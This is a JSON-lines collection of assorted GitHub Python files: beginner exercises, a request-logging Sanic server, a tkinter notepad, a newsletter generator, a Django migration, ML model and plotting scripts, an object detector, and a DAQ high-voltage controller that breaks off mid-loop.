+{"seq_id":"42528479031","text":"# Create a list comprehension to find squares of numbers from 1 to 10\n\nlst=[]\nfor i in range(1,11):\n    lst.append(i*i)\nprint(lst)\n\n#The below is the equivalent list comprehension\n\nlst=[i*i for i in range(1,11) ]\nprint(lst)\n\n# write a list comprehension to get even nos upto 10.\n#Normal Code\n'''lst = []\nfor i in range(2,11,2):\n    lst.append(i)\nprint(lst)'''\n\nlst = []\nfor i in range(2,11):\n    if i%2==0:\n        lst.append(i)\nprint(lst)\n\n# list comprehension\n'''lst =[i for i in range(2,11,2)]\nprint(lst)'''\n\nlst =[i for i in range(2,11) if i%2==0]\nprint(lst)\n\n#Add corresponding elements of two lists and store them in another list.\na = [10,20,-5,6,7,11]\nb = [5,15,5,16,11,12]\nc = []\nfor i in range(6):\n    c.append(a[i]+b[i])\nprint(c)\n\n# list comprehension\nc =[a[i]+b[i] for i in range(6)]\nprint(c)\n\n#Retrieve common elements in two lists.\na = [10,11,25,33,12,-5]\nb = [-5,55,10,33,0,11]\nc = []\nfor x in a:\n    if x in b:\n        c.append(x)\nprint(c)\n\n# list comprehension\nc = [x for x in a if x in b]\nprint(c)\n\n# Retrieve only the first letter of each word in the list.\n#Normal code\nwords = [\"Gopi\",'Lakshmi',\"Vignitha\",\"Rishi\"]\nlst = []\nfor word in words:\n    lst.append(word)\nprint(lst)\n\nwords = [\"Gopi\",'Lakshmi',\"Vignitha\",\"Rishi\"]\nlst = []\nfor word in words:\n    lst.append(word[0])\nprint(lst)\n\n# list comprehension\nlst = [word[0] for word in words]\nprint(lst)\n\n\n# to accept multiple integers from keyboard\n'''a,b,c = [int(i) for i in input('Enter three nos:').split(',')]\n#print(a,b,c)\nsum = a+b+c\nprint(\"sum is:\", sum)'''\n\nlst= [int(i) for i in input('Enter nos:').split(',')]\n#print(a,b,c)\ntotal = sum(lst)\nprint(\"sum is:\", total)\n\n\n\n","repo_name":"nagagopi19/Python-programms","sub_path":"List/listcomprehension.py","file_name":"listcomprehension.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"73718354739","text":"import sanic\nfrom sanic import Sanic\nfrom sanic.log import logger\nfrom sanic.response import json\n\napp = Sanic(__name__)\n\n\ndef request_to_dict(request: sanic.Request) -> dict:\n    request_dict = {\n        \"url\": str(request.url),\n        \"method\": request.method,\n        \"headers\": dict(request.headers),\n        \"args\": dict(request.args),\n        \"form\": dict(request.form),\n        \"json\": request.json,\n        # \"body\": request.body.decode('utf-8'),\n    }\n    return request_dict\n\n\n@app.on_request()\nasync def log_request(request: sanic.Request):\n    logger.info(request_to_dict(request))\n\n\n@app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS'])\nasync def catch_all(request: sanic.Request):\n    return json({})\n\n\nif __name__ == '__main__':\n    app.run(auto_reload=True, host='0.0.0.0')\n","repo_name":"gerasimos/http-recorder-py","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"8774942819","text":"#I am Sangam Prashar as @sangam3\r\n#I am self python learner. If you help me in learning python, I will be thankful to you.\r\n#You can contact me through E-mail: sangamprashar3@gmail.com \r\n# or throught linkedin by following this link: https://www.linkedin.com/in/sangam-prashar-519bb31aa/\r\n\r\n#About Project: Notepad\r\n\"\"\"I created this project while learning Tkinter. It is my third project.\r\n I used tkinter module to make GUI and os module to open and save file.\r\n tkinter.messagebox is used to display poped dialog box with message.\r\n\r\nThis is a Notebook which perform all basic operation of a word editor.\"\"\"\r\n\r\n#importing modules\r\nfrom tkinter import*\r\nimport os\r\nfrom tkinter.messagebox import showinfo\r\nfrom tkinter.filedialog import askopenfilename, asksaveasfilename\r\n\r\n\r\n#creating function for all MENU BAR option\r\ndef newFile():\r\n    global file\r\n    root.title(\"Untitled - Notepad\")\r\n    file = None\r\n    TextArea.delete(1.0, END)\r\ndef openFile():\r\n    global file\r\n    file = askopenfilename(defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),\r\n    (\"Text Documents\",\"*.txt\")])\r\n    if file ==\"\":\r\n        file = None\r\n    else:\r\n        root.title(os.path.basename(file) + \"-Notepad\")\r\n        TextArea.delete(1.0, END)\r\n        f = open(file,\"r\")\r\n        TextArea.insert(1.0, f.read())\r\n        f.close()\r\ndef saveFile():\r\n    #making global file so we can change name of file\r\n    global file\r\n    if file == None:\r\n        file = asksaveasfilename(initialfile = \"Untitled.txt\",defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),\r\n    (\"Text Documents\",\"*.txt\")])\r\n        if file == \"\":\r\n            file=None\r\n# saving as new file\r\n        else:\r\n            f=open(file,\"w\")\r\n            f.write(TextArea.get(1.0,END))\r\n            f.close\r\n# changing file name\r\n        root.title(os.path.basename(file) + \"-Notepad\")\r\n\r\n    else:\r\n        #save the file\r\n        f=open(file,\"w\")\r\n        f.write(TextArea.get(1.0,END))\r\n        f.close\r\ndef saveasFile():\r\n    global file\r\n    if file == None:\r\n        file = asksaveasfilename(initialfile = \"Untitled.txt\",defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),\r\n    (\"Text Documents\",\"*.txt\")])\r\n        if file == \"\":\r\n            file=None\r\n# saving as new file\r\n        else:\r\n            f=open(file,\"w\")\r\n            f.write(TextArea.get(1.0,END))\r\n            f.close\r\n# changing file name\r\n        root.title(os.path.basename(file) + \"-Notepad\")\r\n\r\n    else:\r\n        #save the file\r\n        f=open(file,\"w\")\r\n        f.write(TextArea.get(1.0,END))\r\n        f.close\r\ndef cut():\r\n    TextArea.event_generate((\"<<Cut>>\"))\r\ndef copy():\r\n    TextArea.event_generate((\"<<Copy>>\"))\r\ndef paste():\r\n    TextArea.event_generate((\"<<Paste>>\"))\r\ndef help():\r\n    showinfo(\"Notepad\", \"If you need any help please contact me through e-mail:\\n sangamprashar3@gmail.com\")\r\ndef about():\r\n    showinfo(\"Notepad\", \"this is my third project on Python GUI using tkinter.\\n Hope you like it..\")\r\ndef quit():\r\n    root.destroy()\r\n\r\n\r\n\r\n# Designing GUI\r\nif __name__ == '__main__':\r\n    #Basic tkinter setup\r\n    root = Tk()\r\n    root.title(\"Untitled - Notepad\")\r\n    root.wm_iconbitmap(\"notepad.ico\")\r\n    root.geometry(\"644x788\")\r\n\r\n# add text Area\r\n    TextArea =Text(root, font=\"lucida 13\")\r\n    file = None\r\n    TextArea.pack(fill=BOTH,expand=True)\r\n    \r\n#menu bar Start\r\n    MenuBar = Menu(root)\r\n\r\n    #file menu start\r\n    FileMenu = Menu(MenuBar, tearoff=0)\r\n    # to open new file\r\n    FileMenu.add_command(label=\"New\",command=newFile)\r\n    # to open new file\r\n    FileMenu.add_command(label=\"Open\",command=openFile)\r\n    FileMenu.add_separator()\r\n    # to open new file\r\n    FileMenu.add_command(label=\"Save\",command=saveFile)\r\n    # to open new file\r\n    FileMenu.add_command(label=\"Save as\",command=saveasFile)\r\n    MenuBar.add_cascade(label=\"File\", menu=FileMenu)\r\n    #file menu end\r\n\r\n    #Edit menu start\r\n    EditMenu = Menu(MenuBar, tearoff=0)\r\n    # to cut\r\n    EditMenu.add_command(label=\"Cut\",command=cut)\r\n    # to copy\r\n    EditMenu.add_command(label=\"Copy\",command=copy)\r\n    # to paste\r\n    EditMenu.add_command(label=\"Paste\",command=paste)\r\n    # to open new file\r\n    #EditMenu.add_command(label=\"###\",command=###)\r\n    MenuBar.add_cascade(label=\"Edit\", menu=EditMenu)\r\n    #edit menu end\r\n\r\n    #Help menu start\r\n    HelpMenu = Menu(MenuBar, tearoff=0)\r\n    # for Help\r\n    HelpMenu.add_command(label=\"Help\",command=help)\r\n    HelpMenu.add_command(label=\"About\",command=about)\r\n    HelpMenu.add_separator()\r\n    # To Quit\r\n    HelpMenu.add_command(label=\"Quit\",command=quit)\r\n    MenuBar.add_cascade(label=\"Help\", menu=HelpMenu)\r\n    #Help menu end\r\n\r\n    root.config(menu=MenuBar)\r\n# Menu bar End\r\n\r\n\r\n# adding scrollbar\r\n    Scroll = Scrollbar(TextArea)\r\n    Scroll.pack(side=RIGHT, fill=Y)\r\n    Scroll.config(command=TextArea.yview)\r\n    TextArea.config(yscrollcommand=Scroll.set)\r\n#scrollbar end\r\n\r\nroot.mainloop()# ending ","repo_name":"sangam3/notepad","sub_path":"NOTEPAD.py","file_name":"NOTEPAD.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"20088752020","text":"import requests\nimport openai\nfrom bs4 import BeautifulSoup\nimport json\n\ndef search_news(topic):\n    # Step 1: Create a Python script for news search\n    url = f\"https://www.google.com/search?q={topic}&tbm=nws\"\n    response = requests.get(url)\n    response.raise_for_status()  # Check for any request errors\n\n    soup = BeautifulSoup(response.text, \"html.parser\")\n    articles = []\n\n    for article in soup.find_all(\"div\", class_=\"g\"):\n        title = article.find(\"h3\").text\n        link = article.find(\"a\")[\"href\"]\n        description = article.find(\"div\", class_=\"s\").text\n        articles.append({\"title\": title, \"link\": link, \"description\": description})\n\n    return articles\n\ndef save_news_to_file(articles):\n    with open(\"news.json\", \"w\") as file:\n        json.dump(articles, file)\n\ndef generate_news_summary(articles):\n    openai.api_key = 'YOUR_CHAT_GPT_API_KEY'\n    summaries = []\n\n    for article in articles:\n        prompt = f\"Summarize the news article:\\nTitle: {article['title']}\\nDescription: {article['description']}\"\n        response = openai.Completion.create(\n            engine='text-davinci-003',\n            prompt=prompt,\n            max_tokens=100,\n            temperature=0.7,\n            n=1,\n            stop=None,\n        )\n\n        summary = response.choices[0].text.strip()\n        summaries.append(summary)\n\n    return summaries\n\ndef generate_news_image(summary):\n    openai.api_key = 'YOUR_STABLE_DIFFUSION_API_KEY'\n    response = openai.Image.generate(\n        prompt=summary,\n        max_width=800,\n        max_height=600,\n    )\n\n    return response.url\n\ndef send_newsletter_email(recipients, sender, subject, content):\n    mailgun_api_key = 'YOUR_MAILGUN_API_KEY'\n    mailgun_domain = 'YOUR_MAILGUN_DOMAIN'\n\n    endpoint = f\"https://api.mailgun.net/v3/{mailgun_domain}/messages\"\n\n    data = {\n        'from': sender,\n        'to': recipients,\n        'subject': subject,\n        'html': content\n    }\n\n    response = requests.post(\n        endpoint,\n        auth=('api', mailgun_api_key),\n        data=data\n    )\n\n    return response.status_code\n\ndef main():\n    # Step 1: Create a Python script for news search\n    articles = search_news(\"your_topic_here\")\n    save_news_to_file(articles)\n\n    # Step 2: Generate a conversational news summary using Chat GPT\n    generated_summaries = generate_news_summary(articles)\n\n    # Step 3: Create the newsletter content using Stable Diffusion API and ChatGPT-4\n    enhanced_content = \"<h1>Newsletter Content</h1>\"\n\n    for summary in generated_summaries:\n        image_url = generate_news_image(summary)\n        enhanced_content += f'<img src=\"{image_url}\">'\n        enhanced_content += f'<p>{summary}</p>'\n\n    # Step 4: Distribute the newsletter using Mailgun API\n    recipients = ['recipient1@example.com', 'recipient2@example.com']\n    sender = 'sender@example.com'\n    subject = 'Your Newsletter Subject'\n\n    response_code = send_newsletter_email(recipients, sender, subject, enhanced_content)\n\n    if response_code == 200:\n        print('Newsletter email sent successfully!')\n    else:\n        print(f'Failed to send newsletter email. Status code: {response_code}')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Ap6pack/PythonProjects","sub_path":"NewsletterCreator.py","file_name":"NewsletterCreator.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"5952360731","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n        ('anagrafiche', '0157_auto_20160304_1216'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Movimento',\n            fields=[\n                ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),\n                ('data', models.DateTimeField(auto_now_add=True)),\n                ('quantita', models.DecimalField(verbose_name='quantità', decimal_places=2, max_digits=15)),\n                ('unita_di_misura', models.CharField(max_length=20)),\n                ('articolo', models.ForeignKey(related_name='movimenti', to='anagrafiche.Articolo')),\n                ('autore', models.ForeignKey(related_name='movimenti', to=settings.AUTH_USER_MODEL)),\n                ('destinazione', models.ForeignKey(related_name='movimenti', to='anagrafiche.Commessa')),\n                ('lotto', models.ForeignKey(related_name='movimenti', to='anagrafiche.BollaFornitore')),\n                ('tipo_movimento', models.ForeignKey(to='anagrafiche.TipoMovimento')),\n            ],\n            options={\n                'verbose_name_plural': 'movimenti magazzino',\n            },\n        ),\n    ]\n","repo_name":"ghiblin/wms2","sub_path":"anagrafiche/migrations/0158_movimento.py","file_name":"0158_movimento.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"43678179653","text":"from trie import Trie\n\n\ndef total_number_of_words_in_a_trie(root: Trie):\n    \"\"\"\n    1. we need to count all the instances of is_end_word\n    2. we could use DFS to traverse all the nodes and\n        increment a counter\n    3. do this recursively\n    4. we will visit all the letters\n    \"\"\"\n    if not root:\n        return None\n    # at each loop set word count at 0\n    word_count = 0\n\n    # increment the counter if the node is the end of the word\n    if root.is_end_word:\n        word_count += 1\n\n    for curr_letter, curr_child in root.children.items():\n        # continue to recursively increment the counter for each child\n        word_count += total_number_of_words_in_a_trie(curr_child)\n\n    return word_count\n\n\ndef main():\n    t = Trie()\n    words = [\"the\", \"a\", \"there\", \"answer\", \"any\", \"by\", \"bye\", \"their\", \"abc\"]\n    for word in words:\n        t.insert(word)\n\n    result = total_number_of_words_in_a_trie(t.root)\n    assert result == len(words)\n\nmain()","repo_name":"odubno/python-algorithms","sub_path":"tries/total_number_of_words.py","file_name":"total_number_of_words.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"2121235828","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom pathlib import Path\nimport scipy\n\nDATASET = 'Task_Set'\nMETRIC = 'Top1'\n\nrandom = {\n    'LCBench': {\n        'Top1': 0.1469679747,\n        'Top3': 0.06599725285,\n    },\n    'Task_Set': {\n        'Top1': 64.56159885,\n        'Top3': 49.80802285,\n    },\n    'Synthetic': {\n        'Top1': 37.67961838,\n        'Top3': 49.80802285\n    },\n    'OpenML': {\n        'Top1': 0.06559239471,\n        'Top3': 0.02349796821\n    },\n    'Task_Set_NLP':{\n        'Top1': 81.948,\n        'Top3': 60.792\n    }\n\n}\n\nsatzilla = {\n    'LCBench': {\n        'Top1': 0.09554,\n        'Top3': 0.02372,\n    },\n    'OpenML': {\n        'Top1': 0.04035,\n        'Top3': 0.01416,\n    }\n\n}\n\nplot_keys = {\n    'random': 'Random Baseline',\n\n    # 'MASIF': 'MASIF',\n    # 'MASIF_SH': 'MASIF + SH',\n    'SH': 'SH',\n    # 'MASIF_NoMD': 'MASIF NoMD',\n    # 'MASIF_NoMA': 'MASIF NoMA',\n    # 'MASIF_NoMDA':'MASIF NoMDA',\n    # 'MASIF_M' : 'MASIF with MLP',\n    # 'Imfas': 'Imfas',\n    # 'Augmented_SatZilla11': 'Augmented SatZilla11',\n    'Parametric': 'Parametric',\n    # 'Satzilla': 'Satzilla11',\n\n\n    'MASIF': 'MASIF',\n\n\n    'MASIF_dp_0.0': 'MASIF_dp_0.0',\n    'MASIF_dp_0.1': 'MASIF_dp_0.1',\n    'MASIF_dp_0.3': 'MASIF_dp_0.3',\n    'MASIF_dp_0.4': 'MASIF_dp_0.4',\n    'MASIF_dp_0.5': 'MASIF_dp_0.5',\n    'MASIF_lr_0.0001': 'MASIF_lr_0.0001',\n    'MASIF_lr_0.001': 'MASIF_lr_0.001',\n    'MASIF_lr_0.01': 'MASIF_lr_0.01',\n    'MASIF_lr_0.1': 'MASIF_lr_0.1',\n    'MASIF_lr_0.0001_adamw': 'MASIF_lr_0.0001_adamw',\n    'MASIF_lr_0.001_adamw': 'MASIF_lr_0.001_adamw',\n    'MASIF_lr_0.01_adamw': 'MASIF_lr_0.01_adamw',\n    'MASIF_lr_0.1_adamw': 'MASIF_lr_0.1_adamw',\n    'MASIF_ntflayers_1': 'MASIF_ntflayers_1',\n    'MASIF_ntflayers_3': 'MASIF_ntflayers_3',\n    'MASIF_ntflayers_4': 'MASIF_ntflayers_4',\n    'MASIF_ntflayers_64_nhead_4': 'MASIF_dmodel_64_nhead_4',\n    'MASIF_ntflayers_128_nhead_4': 'MASIF_dmodel_128_nhead_4',\n    'MASIF_ntflayers_256_nhead_4': 'MASIF_dmodel_256_nhead_4',\n    'MASIF_ntflayers_64_nhead_8': 'MASIF_dmodel_64_nhead_8',\n    'MASIF_ntflayers_128_nhead_8': 'MASIF_dmodel_128_nhead_8',\n    'MASIF_ntflayers_256_nhead_8': 'MASIF_dmodel_256_nhead_8',\n    'MASIF_lr_0.001_adamw_dp_0.4_ntflayers_4': 'MASIF_lr_0.001_adamw_dp_0.4_ntflayers_4'\n\n}\n\nregret_keys = [\n    'Test, Slice Evaluation: top1_regret',\n    'Test, Slice Evaluation: top3_regret',\n]\n\nregret_types = ['_Top1', '_Top3']\n\nregrets = {}\n\nselection = ['dp', 'lr', 'adamw', 'ntflayers', 'architecture', 'mixed', 'nhead4', 'nhead8'][5]\nselection_full_names = {'dp': \"DropOut\",\n                        'lr': \"Learning Rate\",\n                        'adamw': \"AdamW Optimizer\",\n                        \"ntflayers\": \"Number of Transformer Layers\",\n                        'architecture': \"Transformer Architecture\",\n                        'mixed': 'Marginal Best'}\ncolors = {\n    'dp': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_dp_0.0': 'tab:orange',\n        'MASIF_dp_0.1': 'tab:green',\n        'MASIF_dp_0.3': 'tab:red',\n        'MASIF_dp_0.4': 'tab:purple',\n        'MASIF_dp_0.5': 'tab:brown',\n    },\n\n    'lr': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_lr_0.0001': 'tab:orange',\n        # 'MASIF_lr_0.001': 'tab:green',\n        'MASIF_lr_0.01': 'tab:purple',\n        'MASIF_lr_0.1': 'tab:red',\n    },\n\n    'adamw': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_lr_0.0001_adamw': 'tab:orange',\n        'MASIF_lr_0.001_adamw': 'tab:green',\n        'MASIF_lr_0.01_adamw': 'tab:purple',\n        'MASIF_lr_0.1_adamw': 'tab:red',\n    },\n\n    'ntflayers': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_ntflayers_1': 'tab:orange',\n        'MASIF_ntflayers_3': 'tab:green',\n        'MASIF_ntflayers_4': 'tab:brown',\n    },\n\n    'architecture': {\n'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_ntflayers_64_nhead_4': 'tab:orange',\n        # 'MASIF_ntflayers_128_nhead_4': 'tab:green',\n        'MASIF_ntflayers_256_nhead_4': 'tab:purple',\n        'MASIF_ntflayers_64_nhead_8': 'tab:red',\n        'MASIF_ntflayers_128_nhead_8': 'tab:brown',\n        'MASIF_ntflayers_256_nhead_8': 'tab:pink',\n    },\n\n    'nhead4': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_ntflayers_64_nhead_4': 'tab:orange',\n        'MASIF_ntflayers_128_nhead_4': 'tab:green',\n        'MASIF_ntflayers_256_nhead_4': 'tab:purple',\n    },\n\n    'nhead8': {\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_ntflayers_64_nhead_8': 'tab:orange',\n        'MASIF_ntflayers_128_nhead_8': 'tab:green',\n        'MASIF_ntflayers_256_nhead_8': 'tab:purple',\n    },\n\n    'mixed':{\n        'random': 'black',\n        'MASIF': 'tab:blue',\n        'MASIF_dp_0.4': 'tab:purple',\n        'MASIF_lr_0.001_adamw': 'tab:green',\n        'MASIF_ntflayers_4': 'tab:brown',\n        'MASIF_lr_0.001_adamw_dp_0.4_ntflayers_4': 'tab:cyan'\n}\n\n    # 'MASIF': 'tab:blue',\n    # 'MASIF_SH': 'tab:orange',\n    # 'SH': 'tab:green',\n    # 'Parametric': 'tab:red',\n    # 'Augmented_SatZilla11': 'tab:purple',\n    # 'Imfas': 'tab:brown',\n    # 'random': 'black',\n    # 'Satzilla': 'tab:pink',\n    # 'MASIF_NoMD': 'tab:olive',\n    # 'MASIF_NoMA': 'tab:cyan',\n    # 'MASIF_NoMDA': 'tab:gray',\n    # 'MASIF_M': 'm'\n\n}[selection]\n\nworking_path = Path.cwd() / 'plots' / DATASET\n\nplots = {}\nmax_fidelity = -1\nplt.rcParams['font.size'] = '55'\nlinewidth = 5.0\n\nfig, ax = plt.subplots(1, 1)\nfor model in colors.keys():\n    data_path = working_path / f'{model}_{METRIC}.csv'\n\n    if not data_path.exists():\n        continue\n    data = pd.read_csv(data_path).drop('fidelity', 1)\n    data = data.fillna(method='ffill').values\n    mean = np.nanmean(data, 1)\n    bar = scipy.stats.sem(data, 1, nan_policy='omit')\n\n    # bar = np.nanstd(data, 1)\n    x_axis = np.arange(len(mean)) / (len(mean) - 1)\n    if max_fidelity < 0:\n        max_fidelity = len(mean)\n\n    ax.plot(x_axis, mean,\n        label=plot_keys[model],\n        color=colors[model], linewidth=linewidth)\n\n    ax.fill_between(x_axis,\n                    mean - bar,\n                    mean + bar,\n                    alpha=0.2,\n                    facecolor=colors[model])\n\nax.hlines(random[DATASET][METRIC], xmin=0, xmax=1, linestyles='dashed', label=plot_keys['random'],\n          colors=colors['random'], linewidth=linewidth)\n\nif DATASET in satzilla:\n    ax.hlines(satzilla[DATASET][METRIC], xmin=0, xmax=1, linestyles='dashed',\n              label=plot_keys['Satzilla'],\n              colors=colors['Satzilla'], linewidth=linewidth)\nax.grid()\n\nhandles = []\nlabels = []\n\nhandles, labels = ax.get_legend_handles_labels()\n# fig_legend = plt.figure(figsize=(35, 1.5)) # NOMDA\n# fig_legend = plt.figure(figsize=(22, 1.5)) # MLP\n# fig_legend.legend(handles, labels, loc='lower center', ncol=3, labelspacing=0. ) # ablation\n\"\"\"\nfig_legend = plt.figure(figsize=(33, 4.5))\nfig_legend.legend(handles, labels, loc='lower center', ncol=2, labelspacing=0.)\nfig_legend.canvas.draw()\nfig_legend.savefig(f'legend_{selection}.png')\nexit()\n\"\"\"\n# plt.xticks(np.arange(0, max_fidelity + 1, 2), np.arange(10+1) / 10)\nplt.xlabel('Available Fidelity')\nplt.ylabel(f\"Top-{METRIC[-1]} Regret\")\n# plt.legend()\nif DATASET == 'OpenML':\n    plt.title('Scikit-CC18')\nelse:\n    plt.title(' '.join(DATASET.split('_')) + f' Ablation on {selection_full_names[selection]}')\n\n# plt.legend()\n# plt.subplots_adjust(0.067, 0.105, 0.983, 0.943)\nplt.subplots_adjust(0.08, 0.12, 0.99, 0.92)\nplt.show()\n","repo_name":"automl/masif","sub_path":"post_processing/do_plotting.py","file_name":"do_plotting.py","file_ext":"py","file_size_in_byte":7557,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"31800890971","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom allennlp.modules.span_extractors import EndpointSpanExtractor,SpanExtractor,SelfAttentiveSpanExtractor\nfrom allennlp.modules.span_extractors.bidirectional_endpoint_span_extractor import BidirectionalEndpointSpanExtractor\nimport torch\nfrom transformers import BertModel\n\n\nclass SpanBertClassificationModel(nn.Module):\n    def __init__(self):\n        super(SpanBertClassificationModel,self).__init__()\n\n        self.bert = BertModel.from_pretrained('pretrained_models/Chinese-BERT-wwm/').cuda()\n        for param in self.bert.parameters():\n            param.requires_grad = True\n\n        # self.hide1 = nn.Linear(768*3,768)\n        # self.hide2 = nn.Linear(768,384)\n        #\n        # self.dropout = nn.Dropout(0.5)\n        self.out = nn.Linear(768*3,2)\n\n    def forward(self, indextokens_a,input_mask_a,indextokens_b,input_mask_b,mode):\n        embedding_a = self.bert(indextokens_a,input_mask_a)[0]\n        embedding_b = self.bert(indextokens_b,input_mask_b)[0]\n\n        embedding_a = torch.mean(embedding_a,1)\n        embedding_b = torch.mean(embedding_b,1)\n\n        abs = torch.abs(embedding_a - embedding_b)\n\n\n        target_span_embedding = torch.cat((embedding_a, embedding_b,abs), dim=1)\n        # hide_1 = F.relu(self.hide1(target_span_embedding))\n        # hide_2 = self.dropout(hide_1)\n        # hide = F.relu(self.hide2(hide_2))\n\n\n        out_put = self.out(target_span_embedding)\n        return out_put\n\n\n","repo_name":"HUSTHY/Myown_sbert","sub_path":"model/sbert.py","file_name":"sbert.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"57"}
+{"seq_id":"42205749034","text":"import numpy as np\nimport tensorflow as tf\nimport cv2\nfrom config import *\n\nfrom utils import label_map_util\n\n\nclass ObjectDetect:\n    def __init__(self):\n        label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n        categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\n        self.category_index = label_map_util.create_category_index(categories)\n        \n        detection_graph = tf.Graph()\n        with detection_graph.as_default():\n            od_graph_def = tf.GraphDef()\n            with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n                serialized_graph = fid.read()\n                od_graph_def.ParseFromString(serialized_graph)\n                tf.import_graph_def(od_graph_def, name='')\n\n            self.sess = tf.Session(graph=detection_graph)\n            \n        self.image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n        self.detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n        self.detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\n        self.detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\n        self.num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n        \n    def detect(self, image):\n        frame_expanded = np.expand_dims(image, axis=0)\n\n        # Perform the actual detection by running the model with the image as input\n        return self.sess.run(\n            [self.detection_boxes, self.detection_scores, self.detection_classes, self.num_detections],\n            feed_dict={self.image_tensor: frame_expanded})\n","repo_name":"totai02/SmartBin_Solution","sub_path":"ObjectDetection/object_detector.py","file_name":"object_detector.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"40387231024","text":"'''\nControl the new bipolar HV board via NI DAQ.\n(Optional) Measure Fluid Pressure via NI DAQ.\nAuthor: Yitian Shao (ytshao@is.mpg.de)\nCreated on 2021.09.02 based on 'WearableCtrlDAQ.py'\n'''\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport PyDAQmx as nidaq\n\nAnalogInputNum = 2\nFs = 1000.0 # Sampling frequency\nMeasureTime = 8 # Measurement time, in seconds. (7)\nshowPressure = True # To display in raw unit (voltage) or converted to pressure unit\n\n# Define control signals\nHV_Off = np.zeros((1,3), dtype=np.uint8)\nHV_Charge = np.zeros((1,3), dtype=np.uint8)\nHV_Discharge = np.zeros((1,3), dtype=np.uint8)\nHV_Charge[0,1:] = 1 # DIO line1 controls Positive HV (charge line) and sync signal line\nHV_Discharge[0,0] = 1 # DIO line0 controls Negative HV (discharge line)\nHV_Discharge[0,2] = 1 # ... and sync signal line\n\n'''-------------------------------------------------------------------------------'''\nreadLen = int(MeasureTime * Fs) # The number of samples, per channel, to read\n\ncalib = np.loadtxt('Calibration20210802.txt')\nprint(\"Calibration line a = %.16f, b = %.16f\" % (calib[0],calib[1]))\n\ndaqdata = np.zeros((readLen*AnalogInputNum,), dtype=np.float64)\n\nactualReadNum = nidaq.int32()\nwith nidaq.Task() as task0, nidaq.Task() as task1:\n    # DAQ configuration\n    task0.CreateAIVoltageChan(\"Dev1/ai2\", None, nidaq.DAQmx_Val_Diff, -1, 4, nidaq.DAQmx_Val_Volts, None)\n    task0.CreateAIVoltageChan(\"Dev1/ai3\", None, nidaq.DAQmx_Val_Diff, -1, 9, nidaq.DAQmx_Val_Volts, None)\n    task0.CfgSampClkTiming(None, Fs, nidaq.DAQmx_Val_Rising, nidaq.DAQmx_Val_FiniteSamps, readLen)\n\n    task1.CreateDOChan(\"Dev1/port0/line0:2\", None, nidaq.DAQmx_Val_ChanPerLine)\n\n    # DAQ start\n    task1.StartTask()\n    task0.StartTask()\n    print(\"Start sampling...\")\n    time0 = time.time()\n\n    task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n    time.sleep(1)\n\n    # Repeat charging and discharging\n    for i in range(1):\n        # Charge\n        for j in range(5):\n            task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Charge, None, None)\n            time.sleep(j*0.002)\n            task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n            time.sleep(0.002)\n\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Charge, None, None)\n        time.sleep(1)\n\n        task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Off, None, None)\n        time.sleep(1)\n\n        # Discharge\n        for j in range(5):\n            task1.WriteDigitalLines(1, False, 1.0, nidaq.DAQmx_Val_GroupByChannel, HV_Discharge, None, None)\n            time.sleep(j*0.002)\n            